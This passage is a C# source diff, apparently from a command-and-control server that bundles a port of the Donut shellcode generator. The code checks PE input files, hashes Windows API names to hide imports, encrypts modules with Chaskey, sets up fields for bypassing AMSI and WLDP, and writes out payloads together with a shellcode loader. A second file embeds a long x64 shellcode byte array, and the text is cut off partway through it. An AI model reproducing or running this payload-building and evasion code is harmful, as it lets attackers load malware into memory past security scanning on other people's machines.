if (func.Name == String(config.method))
{
found = true;
}
}
if (found == false)
{
return Constants.DONUT_ERROR_DLL_FUNCTION;
}
}
catch
{
return Constants.DONUT_ERROR_DLL_FUNCTION;
}
}
// If unmanaged DLL with params, need function
if (config.mod_type == Constants.DONUT_MODULE_DLL && config.param != null)
{
if (config.method == null)
{
return Constants.DONUT_ERROR_DLL_PARAM;
}
}
}
// If .NET DLL make sure Method and Class provided
if (config.mod_type == Constants.DONUT_MODULE_NET_DLL)
{
if (config.cls == null || config.method == null)
{
return Constants.DONUT_ERROR_NET_PARAMS;
}
}
return Constants.DONUT_ERROR_SUCCESS;
}
public static int ParseInputFile(string file, ref DSFileInfo fi)
{
PeNet.PeFile PE;
fi.type = Constants.DONUT_MODULE_EXE;
fi.arch = Constants.DONUT_ARCH_ANY;
// Do PE parsing for .dll and .exe
if (fi.type == Constants.DONUT_MODULE_DLL || fi.type == Constants.DONUT_MODULE_EXE)
{
try
{
PE = new PeNet.PeFile(file);
if (PE.ImageDosHeader == null)
{
return Constants.DONUT_ERROR_FILE_INVALID;
}
if (PE.ImageNtHeaders == null)
{
return Constants.DONUT_ERROR_FILE_INVALID;
}
}
catch
{
return Constants.DONUT_ERROR_FILE_INVALID;
}
// Check and Reset Arch
if (PE.Is32Bit == true)
{
fi.arch = Constants.DONUT_ARCH_X86;
}
else
{
fi.arch = Constants.DONUT_ARCH_X64;
}
// Check .NET and Reset Type
if (PE.HasValidComDescriptor == true)
{
if (PE.IsDLL == true)
{
fi.type = Constants.DONUT_MODULE_NET_DLL;
}
else
{
fi.type = Constants.DONUT_MODULE_NET_EXE;
}
Copy(fi.ver, PE.MetaDataHdr.Version);
}
else if (PE.ImageRelocationDirectory.Length == 0)
{
//Think this should be ok?
return Constants.DONUT_ERROR_NORELOC;
}
}
return Constants.DONUT_ERROR_SUCCESS;
}
public static void APIImports(ref DSInstance inst)
{
UInt64 dll_hash, final;
inst.api.hash = new UInt64[64];
Dictionary<string, List<string>> apiimports = new Dictionary<string, List<string>>
{
{
Constants.KERNEL32_DLL,
new List<string> {
"LoadLibraryA", "GetProcAddress", "GetModuleHandleA", "VirtualAlloc", "VirtualFree",
"VirtualQuery", "VirtualProtect", "Sleep", "MultiByteToWideChar", "GetUserDefaultLCID"}
},
{
Constants.OLEAUT32_DLL,
new List<string> {
"SafeArrayCreate", "SafeArrayCreateVector", "SafeArrayPutElement", "SafeArrayDestroy", "SafeArrayGetLBound",
"SafeArrayGetUBound", "SysAllocString", "SysFreeString", "LoadTypeLib"}
},
{
Constants.WININET_DLL,
new List<string> {
"InternetCrackUrlA", "InternetOpenA", "InternetConnectA", "InternetSetOptionA", "InternetReadFile",
"InternetCloseHandle", "HttpOpenRequestA", "HttpSendRequestA", "HttpQueryInfoA"}
},
{
Constants.MSCOREE_DLL,
new List<string> {
"CorBindToRuntime", "CLRCreateInstance"}
},
{
Constants.OLE32_DLL,
new List<string> {
"CoInitializeEx", "CoCreateInstance", "CoUninitialize"}
}
};
// Generate hashes
for (var l = 0; l < apiimports.Count; l++)
{
for (var i = 0; i < apiimports.ElementAt(l).Value.Count; i++)
{
dll_hash = Maru(apiimports.ElementAt(l).Key, ref inst);
final = Maru(apiimports.ElementAt(l).Value[i], ref inst) ^ dll_hash;
inst.api.hash[inst.api_cnt++] = final;
}
}
// Initialize substruct
inst.d = new DLL[Constants.DONUT_MAX_DLL];
for (int i = 0; i < inst.d.Length; i++)
{
inst.d[i] = new DLL
{
dll_name = new char[32]
};
}
// Assign hashes
string[] dlls = new string[4] { "ole32.dll", "oleaut32.dll", "wininet.dll", "mscoree.dll" };
for (int i = 0; i < dlls.Length; i++)
{
char[] dllchar = new char[32];
Copy(dllchar, dlls[i]);
for (int l = 0; l < dllchar.Length; l++)
{
inst.d[i].dll_name[l] = dllchar[l];
}
inst.dll_cnt = dlls.Length;
}
}
public dynamic InitStruct(string type)
{
if (type == "DSConfig")
{
var config = new DSConfig
{
arch = Constants.DONUT_ARCH_X84,
bypass = Constants.DONUT_BYPASS_CONTINUE,
inst_type = Constants.DONUT_INSTANCE_PIC,
mod_len = 0,
inst_len = 0,
pic = IntPtr.Zero,
pic_len = 0,
cls = new char[Constants.DONUT_MAX_NAME],
domain = new char[Constants.DONUT_MAX_NAME],
method = new char[Constants.DONUT_MAX_NAME],
modname = new char[Constants.DONUT_MAX_NAME],
file = new char[Constants.DONUT_MAX_NAME],
runtime = new char[Constants.DONUT_MAX_NAME],
url = new char[Constants.DONUT_MAX_NAME],
param = new char[(Constants.DONUT_MAX_PARAM + 1) * Constants.DONUT_MAX_NAME],
outfile = new char[Constants.DONUT_MAX_NAME]
};
Copy(config.outfile, "payload.bin");
return config;
}
else if (type == "DSModule")
{
var mod = new DSModule
{
runtime = new byte[512],
cls = new byte[512],
method = new byte[512],
domain = new byte[512],
sig = new char[256]
};
mod.p = new P[Constants.DONUT_MAX_PARAM + 1];
for (int i = 0; i < mod.p.Length; i++)
{
mod.p[i] = new P
{
param = new byte[Constants.DONUT_MAX_NAME * 2]
};
}
return mod;
}
else if (type == "DSInstance")
{
var inst = new DSInstance
{
sig = new char[256],
amsiInit = new char[16],
amsiScanBuf = new char[16],
amsiScanStr = new char[16],
clr = new char[8],
wldp = new char[16],
wldpQuery = new char[32],
wldpIsApproved = new char[32],
wscript = new char[16],
wscript_exe = new char[32],
};
inst.amsi = new AMSI();
inst.amsi.s = new char[8];
inst.key.ctr = new byte[16];
inst.key.mk = new byte[16];
inst.mod_key.ctr = new byte[16];
inst.mod_key.mk = new byte[16];
return inst;
}
return 0;
}
public static unsafe void WriteOutput(ref DSConfig config)
{
try
{
// Raw bytes to file
FileStream f = new FileStream(Helper.String(config.outfile), FileMode.Create, FileAccess.Write);
UnmanagedMemoryStream fs = new UnmanagedMemoryStream((byte*)config.pic, Convert.ToInt32(config.pic_cnt));
fs.CopyTo(f);
fs.Close();
f.Close();
Console.WriteLine($"\nRaw Payload: {Helper.String(config.outfile)}");
// Write B64 version
File.WriteAllText($@"{Helper.String(config.outfile)}.b64", Convert.ToBase64String(File.ReadAllBytes(Helper.String(config.outfile))));
Console.WriteLine($"B64 Payload: {Helper.String(config.outfile)}.b64\n");
// Write loader
string loader = Properties.Resources.ShellcodeLoader.Replace("%shellcode%", Convert.ToBase64String(File.ReadAllBytes(Helper.String(config.outfile))));
File.WriteAllText($@"{Helper.String(config.outfile)}.loader.cs", loader);
}
catch
{
Console.WriteLine("Failed to write payload to file");
}
}
public unsafe static UInt64 Maru(string input, ref DSInstance inst)
{
byte[] zeros = new byte[Constants.MARU_BLK_LEN];
for (var i = 0; i < zeros.Length; i++) { zeros[i] = 0x00; }
var ptr = Marshal.UnsafeAddrOfPinnedArrayElement(zeros, 0);
byte[] api = Encoding.UTF8.GetBytes(input + '\0');
UInt64 h = inst.iv;
int len = 0;
int ind = 0;
bool finished = false;
M m = new M();
while (finished == false)
{
if (api[len] == 0 || len == Constants.MARU_MAX_STR)
{
Buffer.MemoryCopy(ptr.ToPointer(), m.b + ind, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN - ind);
m.b[ind] = 0x80;
if (ind >= Constants.MARU_BLK_LEN - 4)
{
h ^= Maru_Crypt(m, h);
Buffer.MemoryCopy(ptr.ToPointer(), m.b, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN);
}
m.w[(Constants.MARU_BLK_LEN / 4) - 1] = Convert.ToUInt32((len * 8));
ind = Constants.MARU_BLK_LEN;
finished = true;
}
else
{
m.b[ind] = api[len];
ind++; len++;
}
if (ind == Constants.MARU_BLK_LEN)
{
h ^= Maru_Crypt(m, h);
ind = 0;
}
}
return h;
}
public unsafe static UInt64 Maru_Crypt(M m, UInt64 p)
{
UInt32[] k = new UInt32[4];
UInt32 t, i;
UInt32[] c = new UInt32[4];
byte[] f = new byte[16];
for (int z = 0; z < 16; z++)
{
f[z] = m.b[z];
}
Buffer.BlockCopy(f, 0, c, 0, 16);
X x = new X();
x.q[0] = p;
for (i = 0; i < 4; i++)
{
k[i] = c[i];
}
for (i = 0; i < 27; i++)
{
x.w[0] = ((((x.w[0]) >> (8)) | ((x.w[0]) << (32 - (8)))) + x.w[1]) ^ k[0];
x.w[1] = (((x.w[1]) >> (29)) | ((x.w[1]) << (32 - (29)))) ^ x.w[0];
t = k[3];
k[3] = ((((k[1]) >> (8)) | ((k[1]) << (32 - (8)))) + k[0]) ^ i;
k[0] = (((k[0]) >> (29)) | ((k[0]) << (32 - (29)))) ^ k[3];
k[1] = k[2];
k[2] = t;
}
return x.q[0];
}
public unsafe static void Encrypt(byte[] mk, byte[] ctr, IntPtr data, UInt64 size)
{
int len = Convert.ToInt32(size);
byte[] outbuff = new byte[16];
byte[] x = new byte[16];
byte[] p = new byte[size];
byte[] c = ctr;
int i, r;
for (int f = 0; f < len; f++)
{
p[f] = Marshal.ReadByte(data, f);
}
int counter = 0;
while (len > 0)
{
for (i = 0; i < Constants.CIPHER_BLK_LEN; i++)
{
x[i] = c[i];
}
outbuff = Chaskey(mk, x);
r = len > Constants.CIPHER_BLK_LEN ? Constants.CIPHER_BLK_LEN : len;
for (i = 0; i < r; i++)
{
p[i + counter] ^= outbuff[i];
}
len -= r;
counter += 16;
// This is ugly, fix
// Just need to increment c[12] as int everytime
for (i = Constants.CIPHER_BLK_LEN; i > 0;)
{
if (c[15] == 255)
{
if (c[14] == 255)
{
c[13] = Convert.ToByte(c[13] + 1);
c[14] = Convert.ToByte(0);
c[15] = Convert.ToByte(0);
break;
}
else
{
c[14] = Convert.ToByte(c[14] + 1);
c[15] = Convert.ToByte(0);
break;
}
}
else
{
c[15] = Convert.ToByte(c[15] + 1);
break;
}
}
}
for (int f = 0; f < Convert.ToInt32(size); f++)
{
Marshal.WriteByte(data + f, 0, p[f]);
}
}
public static byte[] Chaskey(byte[] mk, byte[] datain)
{
uint[] key = new uint[4];
uint[] data = new uint[4];
Buffer.BlockCopy(mk, 0, key, 0, 16);
Buffer.BlockCopy(datain, 0, data, 0, 16);
for (int i = 0; i < 4; i++)
{
data[i] ^= key[i];
}
for (int i = 0; i < 16; i++)
{
data[0] += data[1];
data[1] = ((((data[1]) >> 27)) | ((data[1]) << (32 - (27)))) ^ data[0];
data[2] += data[3];
data[3] = ((((data[3]) >> 24)) | ((data[3]) << (32 - (24)))) ^ data[2];
data[2] += data[1];
data[0] = ((((data[0]) >> 16)) | ((data[0]) << (32 - (16)))) + data[3];
data[3] = ((((data[3]) >> 19)) | ((data[3]) << (32 - (19)))) ^ data[0];
data[1] = ((((data[1]) >> 25)) | ((data[1]) << (32 - (25)))) ^ data[2];
data[2] = ((((data[2]) >> 16)) | ((data[2]) << (32 - (16))));
}
for (int i = 0; i < 4; i++)
{
data[i] ^= key[i];
}
return data.SelectMany(BitConverter.GetBytes).ToArray();
}
public static void PUT_BYTE(byte insertbyte, ref DSConfig config)
{
IntPtr ptr = config.pic + config.pic_cnt;
byte[] src = { 0x00, insertbyte };
Marshal.WriteByte(ptr, src[1]);
config.pic_cnt++;
}
public static void PUT_WORD(byte[] sarr, ref DSConfig config)
{
IntPtr ptr = config.pic + config.pic_cnt;
for (int i = 0; i < 4; i++)
{
Marshal.WriteByte(ptr + i, sarr[i]);
config.pic_cnt++;
}
}
public static void PUT_BYTES(byte[] sarr, int cnt, ref DSConfig config)
{
IntPtr ptr = config.pic + config.pic_cnt;
for (int i = 0; i < cnt; i++)
{
Marshal.WriteByte(ptr + i, sarr[i]);
config.pic_cnt++;
}
}
public static void PUT_INST(IntPtr instptr, int cnt, ref DSConfig config)
{
IntPtr ptr = config.pic + config.pic_cnt;
for (int i = 0; i < cnt; i++)
{
Marshal.WriteByte(ptr + i, Marshal.ReadByte(instptr + i));
config.pic_cnt++;
}
Marshal.FreeHGlobal(instptr);
}
public static string RandomString(int length)
{
Random random = new Random();
const string chars = "HMN34P67R9TWCXYF";
return new string(Enumerable.Repeat(chars, length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}
public static byte[] RandomBytes(int length)
{
byte[] rand = new byte[length];
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
rng.GetBytes(rand);
return rand;
}
public static void Unicode(byte[] dest, string buff)
{
byte[] str = Encoding.Convert(Encoding.ASCII, Encoding.Unicode, Encoding.ASCII.GetBytes(buff));
Array.Copy(str, dest, str.Length);
}
public static string String(char[] source)
{
return new string(source).Replace("\0", "");
}
public static void Copy(char[] dest, string source)
{
Array.Copy(source.ToCharArray(), 0, dest, 0, source.ToCharArray().Length);
}
public static void Copy(byte[] dest, string source)
{
byte[] src = Encoding.ASCII.GetBytes(source);
Array.Copy(src, 0, dest, 0, src.Length);
}
}
}

View File

@ -0,0 +1,718 @@
namespace Server.Helper.Donut.Payloads
{
public class payload_exe_x64
{
public static readonly byte[] PAYLOAD_EXE_X64 = {
0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,
0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec,
0x60, 0x4c, 0x8b, 0x41, 0x28, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x51, 0x48,
0xe8, 0xd7, 0x1d, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb,
0x48, 0x8b, 0x53, 0x50, 0x48, 0x8b, 0xf8, 0xe8, 0xc4, 0x1d, 0x00, 0x00,
0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xff, 0x0f, 0x84, 0x1d, 0x02, 0x00, 0x00,
0x48, 0x85, 0xc0, 0x0f, 0x84, 0x14, 0x02, 0x00, 0x00, 0x8b, 0x13, 0x33,
0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff,
0xd7, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xf8, 0x01, 0x00,
0x00, 0x44, 0x8b, 0x03, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xc8, 0xe8, 0x99,
0x20, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x44, 0x8d,
0x42, 0x40, 0xe8, 0xa9, 0x20, 0x00, 0x00, 0x44, 0x8b, 0x0f, 0x48, 0x8d,
0xaf, 0x30, 0x02, 0x00, 0x00, 0x49, 0x81, 0xe9, 0x30, 0x02, 0x00, 0x00,
0x48, 0x8d, 0x57, 0x14, 0x48, 0x8d, 0x4f, 0x04, 0x4c, 0x8b, 0xc5, 0xe8,
0x38, 0x1f, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0x28,
0x06, 0x00, 0x00, 0xe8, 0xe0, 0x1d, 0x00, 0x00, 0x48, 0x3b, 0x87, 0x28,
0x07, 0x00, 0x00, 0x0f, 0x85, 0x41, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x47,
0x28, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x57, 0x30, 0xe8, 0x27, 0x1d, 0x00,
0x00, 0x48, 0x89, 0x47, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x7f, 0x01,
0x00, 0x00, 0x33, 0xdb, 0x39, 0x9f, 0x34, 0x02, 0x00, 0x00, 0x76, 0x1d,
0x8b, 0xc3, 0x48, 0x8d, 0x8f, 0x38, 0x02, 0x00, 0x00, 0x48, 0xc1, 0xe0,
0x05, 0x48, 0x03, 0xc8, 0xff, 0x57, 0x30, 0xff, 0xc3, 0x3b, 0x9f, 0x34,
0x02, 0x00, 0x00, 0x72, 0xe3, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x39, 0x75,
0x00, 0x76, 0x28, 0x4c, 0x8b, 0x47, 0x28, 0x48, 0x8b, 0xcf, 0x8b, 0xde,
0x48, 0x8b, 0x54, 0xdf, 0x30, 0xe8, 0xd6, 0x1c, 0x00, 0x00, 0x48, 0x89,
0x44, 0xdf, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x00, 0x00, 0x00,
0xff, 0xc6, 0x3b, 0x75, 0x00, 0x72, 0xd8, 0x8b, 0x87, 0x1c, 0x05, 0x00,
0x00, 0x83, 0xf8, 0x02, 0x75, 0x16, 0x48, 0x8b, 0xcf, 0xe8, 0x6a, 0x05,
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0x87,
0x1c, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x83,
0xf8, 0x01, 0x74, 0x03, 0x48, 0x8b, 0x1b, 0x83, 0xbf, 0x40, 0x03, 0x00,
0x00, 0x01, 0x74, 0x2a, 0x48, 0x8b, 0xcf, 0xe8, 0x0c, 0x03, 0x00, 0x00,
0x85, 0xc0, 0x75, 0x09, 0x83, 0xbf, 0x40, 0x03, 0x00, 0x00, 0x02, 0x74,
0x7d, 0x48, 0x8b, 0xcf, 0xe8, 0x0f, 0x04, 0x00, 0x00, 0x85, 0xc0, 0x75,
0x09, 0x83, 0xbf, 0x40, 0x03, 0x00, 0x00, 0x02, 0x74, 0x68, 0x8b, 0x0b,
0x8d, 0x41, 0xfd, 0x83, 0xf8, 0x01, 0x76, 0x56, 0x8d, 0x41, 0xff, 0x83,
0xf8, 0x01, 0x76, 0x21, 0x8d, 0x41, 0xfb, 0x83, 0xf8, 0x01, 0x76, 0x0f,
0x83, 0xf9, 0x07, 0x75, 0x49, 0x48, 0x8b, 0xcf, 0xe8, 0xcf, 0x1a, 0x00,
0x00, 0xeb, 0x3f, 0x48, 0x8b, 0xcf, 0xe8, 0xe1, 0x17, 0x00, 0x00, 0xeb,
0x35, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcf, 0xe8, 0xa2, 0x0d,
0x00, 0x00, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48,
0x8b, 0xcf, 0xe8, 0x9d, 0x0f, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20,
0x48, 0x8b, 0xcf, 0xe8, 0x30, 0x09, 0x00, 0x00, 0xeb, 0x08, 0x48, 0x8b,
0xcf, 0xe8, 0xe2, 0x12, 0x00, 0x00, 0x83, 0xbf, 0x1c, 0x05, 0x00, 0x00,
0x02, 0xbb, 0x00, 0xc0, 0x00, 0x00, 0x75, 0x31, 0x48, 0x8b, 0x8f, 0x58,
0x07, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x44, 0x8b, 0x87, 0x50,
0x07, 0x00, 0x00, 0x33, 0xd2, 0xe8, 0x02, 0x1f, 0x00, 0x00, 0x48, 0x8b,
0x8f, 0x58, 0x07, 0x00, 0x00, 0x44, 0x8b, 0xc3, 0x33, 0xd2, 0xff, 0x57,
0x50, 0x48, 0x83, 0xa7, 0x58, 0x07, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x07,
0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xde, 0x1e, 0x00, 0x00, 0x44, 0x8b,
0xc3, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x41, 0xff, 0xd6, 0x33, 0xc0, 0xeb,
0x03, 0x83, 0xc8, 0xff, 0x4c, 0x8d, 0x5c, 0x24, 0x60, 0x49, 0x8b, 0x5b,
0x10, 0x49, 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b,
0x28, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0xcc, 0xf0, 0xff, 0x41, 0x08,
0x8b, 0x41, 0x08, 0xc3, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc,
0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c,
0x8b, 0x49, 0x10, 0x49, 0x8b, 0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b,
0x02, 0x75, 0x0d, 0x49, 0x8b, 0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b,
0x42, 0x08, 0x74, 0x19, 0x49, 0x8b, 0x81, 0xbc, 0x04, 0x00, 0x00, 0x48,
0x3b, 0x02, 0x75, 0x17, 0x49, 0x8b, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x48,
0x3b, 0x42, 0x08, 0x75, 0x0a, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08,
0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80,
0xc3, 0xcc, 0xcc, 0xcc, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x08,
0xff, 0xc8, 0xc3, 0xcc, 0x33, 0xc0, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24,
0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,
0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x41, 0x8b, 0xe8, 0x48, 0x8b,
0xf1, 0x41, 0xf6, 0xc0, 0x02, 0x74, 0x1b, 0x48, 0x8b, 0x5c, 0x24, 0x50,
0x48, 0x85, 0xdb, 0x74, 0x1c, 0x48, 0x8b, 0x49, 0x38, 0x48, 0x8b, 0x01,
0xff, 0x50, 0x08, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x89, 0x03, 0x40, 0xf6,
0xc5, 0x01, 0x74, 0x1c, 0x48, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40,
0x00, 0x80, 0xeb, 0x12, 0x48, 0x8d, 0x5e, 0x28, 0x48, 0x8b, 0x03, 0x48,
0x8b, 0xcb, 0xff, 0x50, 0x08, 0x48, 0x89, 0x1f, 0x33, 0xc0, 0x48, 0x8b,
0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24,
0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83,
0xec, 0x20, 0x48, 0x8b, 0x41, 0x58, 0x48, 0x8b, 0xda, 0xff, 0x50, 0x78,
0x89, 0x03, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc,
0x48, 0x8b, 0xc4, 0x53, 0x48, 0x83, 0xec, 0x60, 0x83, 0x60, 0x20, 0x00,
0x48, 0x8d, 0x48, 0xb8, 0x83, 0x60, 0x18, 0x00, 0x48, 0x8b, 0xda, 0x83,
0x60, 0x10, 0x00, 0x33, 0xd2, 0x44, 0x8d, 0x42, 0x40, 0xe8, 0x7e, 0x1d,
0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b,
0xcb, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x75, 0x1e, 0x48, 0x8b, 0x03, 0x4c,
0x8d, 0x4c, 0x24, 0x78, 0x4c, 0x8d, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00,
0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0xff,
0x50, 0x20, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x60, 0x5b, 0xc3, 0xcc, 0xcc,
0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c,
0x8b, 0x49, 0x58, 0x49, 0x8b, 0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b,
0x02, 0x75, 0x0d, 0x49, 0x8b, 0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b,
0x42, 0x08, 0x74, 0x19, 0x49, 0x8b, 0x81, 0xac, 0x04, 0x00, 0x00, 0x48,
0x3b, 0x02, 0x75, 0x16, 0x49, 0x8b, 0x81, 0xb4, 0x04, 0x00, 0x00, 0x48,
0x3b, 0x42, 0x08, 0x75, 0x09, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08,
0xeb, 0x20, 0x49, 0x8b, 0x81, 0xbc, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02,
0x75, 0x17, 0x49, 0x8b, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42,
0x08, 0x75, 0x0a, 0x48, 0x8d, 0x41, 0x10, 0x49, 0x89, 0x00, 0x33, 0xc0,
0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc,
0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc,
0x0f, 0xaf, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0x44, 0x24,
0x28, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0x8d, 0x04, 0x11, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x6c, 0x24, 0x20, 0x56, 0x57,
0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x81, 0xc1,
0x38, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, 0x8b, 0xf8, 0x48, 0x85,
0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd4, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x93, 0xac, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff,
0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xb9, 0x00,
0x00, 0x00, 0x48, 0x8d, 0x0d, 0x97, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x35,
0x84, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xce, 0x0f, 0x88, 0xa2, 0x00, 0x00,
0x00, 0x8b, 0xe9, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x8b, 0xd1, 0x41, 0xb8,
0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0,
0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xc5, 0x49, 0x8b, 0xd6,
0x48, 0x8b, 0xce, 0xe8, 0xfc, 0x1b, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24,
0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff,
0x53, 0x60, 0x48, 0x8d, 0x93, 0xbc, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcf,
0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x50, 0x48,
0x8d, 0x0d, 0x42, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x2d, 0x2f, 0xff, 0xff,
0xff, 0x2b, 0xcd, 0x78, 0x3e, 0x8b, 0xf9, 0x4c, 0x8d, 0x4c, 0x24, 0x40,
0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff,
0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 0x8b, 0xc7, 0x48, 0x8b, 0xd5,
0x48, 0x8b, 0xce, 0xe8, 0x9c, 0x1b, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24,
0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff,
0x53, 0x60, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c,
0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x20, 0x41,
0x5e, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x6c,
0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
0xd9, 0x48, 0x81, 0xc1, 0x4c, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48,
0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00,
0xe9, 0xd4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x5c, 0x03, 0x00, 0x00,
0x48, 0x8b, 0xcf, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0,
0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xff, 0x17, 0x00,
0x00, 0x4c, 0x8d, 0x35, 0xfc, 0xfc, 0xff, 0xff, 0x41, 0x2b, 0xce, 0x0f,
0x88, 0xa2, 0x00, 0x00, 0x00, 0x8b, 0xe9, 0x4c, 0x8d, 0x4c, 0x24, 0x40,
0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff,
0x53, 0x60, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x44, 0x8b,
0xc5, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce, 0xe8, 0xe4, 0x1a, 0x00, 0x00,
